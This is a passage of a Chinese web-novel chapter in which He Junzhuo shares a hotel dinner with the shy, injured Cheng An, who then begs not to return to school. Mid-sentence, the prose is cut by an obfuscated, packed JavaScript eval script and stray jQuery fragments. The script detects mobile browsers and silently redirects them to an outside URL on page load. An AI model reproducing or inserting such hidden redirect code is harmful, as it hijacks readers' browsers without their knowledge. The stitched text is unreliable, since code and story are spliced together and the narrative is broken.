程桉惴惴地低着头,紧张地揪着身下柔软大沙发的流苏。
空气里安静了几秒,他简直快要把沙发揪炸毛。
好难堪呀……刚才那样说简直像是在暗示对方什么一样,贺先生恐怕要拒绝我了吧……
可是没等程桉再一次陷入自我怀疑,那道沉稳的声音便从头顶传来。
“可以。”
贺君酌抬手松开衣领最高处的纽扣,在餐车旁的高脚凳上落座下来。
闻言程桉有些惊讶地抬起头来,望向对面坐在高处的男人。
意识到二人此时存在着的高度差,程桉赶忙坐直了腰板。可惜沙发太过柔软,他整个人都深陷在里面扑腾了下没坐起来。
又在贺先生面前闹了个大笑话,程桉这张白皙的小脸上再次泛起红晕。
不过贺君酌只是淡淡地望了他一眼,神色波澜不惊,似乎已经习惯少年时不时在自己面前暴露出笨拙的一面。
他手掌一抬,轻轻松松将另一个高脚凳放到了程桉面前。
程桉顶着通红的脸蛋,声音小得像是蚊子哼哼:“谢谢贺先生。”
他抬眼看了看面前这个凳子,对于他这位伤了脚的患者来说还是有些困难。
沙发太软不好借力,程桉又扑腾了两下也没能把自己成功挪上去。
他有些尴尬地望了望对面端坐着的男人。
这会程桉已经清醒许多,不好意思再开口让贺君酌抱自己坐上去。
无奈之下他手脚并用,攀着餐桌的桌板,咬牙磕磕绊绊坐上了高脚凳。
贺君酌默默地看着少年的一系列操作,原本都做好了起身过去的准备,却始终也没有等到少年的求助。
在看到程桉选择了自力更生后,贺君酌伸出大手,按住了桌板快要翘起的另一端。
“好香呀,贺先生。”
程桉终于坐到了餐车前,却礼貌地没有立刻开动,而是先夸了夸安排了这顿晚餐的贺君酌。
他眼睛亮晶晶的,像只第一次见到美食的小动物。
“嗯。”贺君酌率先拿起餐具,“吃吧。”
见贺君酌已经开始动筷,程桉便也渐渐安下心来,专心享用美食。
他先是喝了一小碗小米粥垫垫胃,随后尝了尝那摆盘精致、像朵花一样的萝卜鲜鱼羹。
让人惊艳的味道瞬间充斥了整个口腔,程桉食指大动,暂时忘却了程家带来的那些伤害,完全投入到贺君酌为他准备的这顿晚餐之中。
贺君酌中午有场应酬,吃了些冷冰冰的外国餐,到现在也还没有什么胃口。他简单地吃了一点后就放下了餐具。
一抬头,就看见程桉正捧着一碗面条吃得正香。
因为程桉受伤的缘故,贺君酌吩咐准备的都是些比较清淡,却很有营养的餐点。
这碗面条是鸡汤汤底,上面只简单地卧了个荷包蛋、飘着几点葱花,程桉却吃得非常投入,幸福得眼睛都快眯起来。
如果少年的身后有条尾巴,想必此刻它已经开心得左右摇晃起来了。
十八岁的小伙子正是长身体的时候,程桉这小身板看起来单薄,饭量倒不是很小。
一碗面条下肚,程桉又意犹未尽地喝了几口鲜掉牙的鸡汤,随后又闷头吃了几块薏米糕和绿茶饼,势头非常可观。
“……”
贺君酌突然有些怀疑,程桉刚才说吃不完大概只是用来挽留自己的借口。
可是下一秒贺君酌却发现,吃得差不多了的少年突然抬头望向自己,一双漂亮的杏眼之中,竟隐隐含着水光。
“贺先生……今天真的是太感谢您了呀。”
少年的嘴角还沾着没擦去的糕点碎屑,可眼神是那样的真诚,让人再也不能狠心对他说出任何一句拒绝、任何一句重话。
或许他上辈子是只可怜的流浪小猫吧,味觉是那样容易地牵动了泪腺。仅仅是被人投喂,就足以生出被爱的错觉。
贺君酌交握着的大手突然紧了紧。
他轻轻别开视线,落向还未被吃完的餐点,“我还没吃饱,你再陪我吃点吧。”
……
二十分钟后,空掉的餐盘放在餐车上,被前来收拾打理的酒店值班人员推走。
领班借机跟过来,小心翼翼地在门口探了探头,试图随时等候吩咐。
他又在心里默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380483|168450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默讨伐起来通知不到位的经理,为什么不提前说一声贺总今天带人来了啊!
贺总洁身自好了这么多年,所有主动扑上来的男男女女每次都在酒店安保那里就被拦下了,他们这些年来看在眼里早已习惯。
今天这么突然……这,这房间里什么都没准备啊!
但可惜贺总始终紧盯着对面那位看不清长相的少年,没有分过来任何眼神。
领班默默地在心里说着抱歉:贺总,你可别怪我没出声提醒啊,我也是怕说得不够隐晦,吓到你的这位小宝贝。
无奈之下,他也只能贴心地帮里面二人关好门,跟着值班人员带上推车一起离开。
房间里再度回归了二人独处的状态。
一片静谧之中,贺君酌缓缓起身,抬手扣上衣领最高处的纽扣,手背青筋微微绷起。
他没有去拿自己先前脱下来披在程桉身上的外套,似乎是默认要将它留给对方。
餐车推走后,面前一下子失去遮挡,还坐在高脚凳上的程桉有些不自在地扯了扯衣摆,再度把头垂下。
贺君酌微微低头,看了眼坐在高脚凳上后到了自己胸口的少年,眉心微拧。
随后他走过来将人抱起,重新放回了沙发上。
“好好休息。”贺君酌淡淡开口,“有需要的话,明早我的助理会来接你。”
刚刚从男人怀抱中脱离的程桉,倏地睁大了眼睛。
“接我,接我去哪里呀……”
贺君酌沉默了一瞬:“你不上学吗?”
闻言程桉突然怔了一下,那个蛮横室友李恒达的警告犹在耳边回响。
“别再让我看见你…”
“见你一次,打你一次…”
程桉整个人突然打了个抖。
他抬头看向似乎已经打算离开的贺君酌,急急忙忙扯住男人的衣袖,“我明天,不想去学校了……”
“可、可以吗?贺先生。”
程桉怯怯地望着身前高大的男人,害怕贺君酌拒绝,也害怕贺君酌追问缘由。
贺君酌后退半步拉开距离。
他俯视着面前的少年,似乎正在权衡。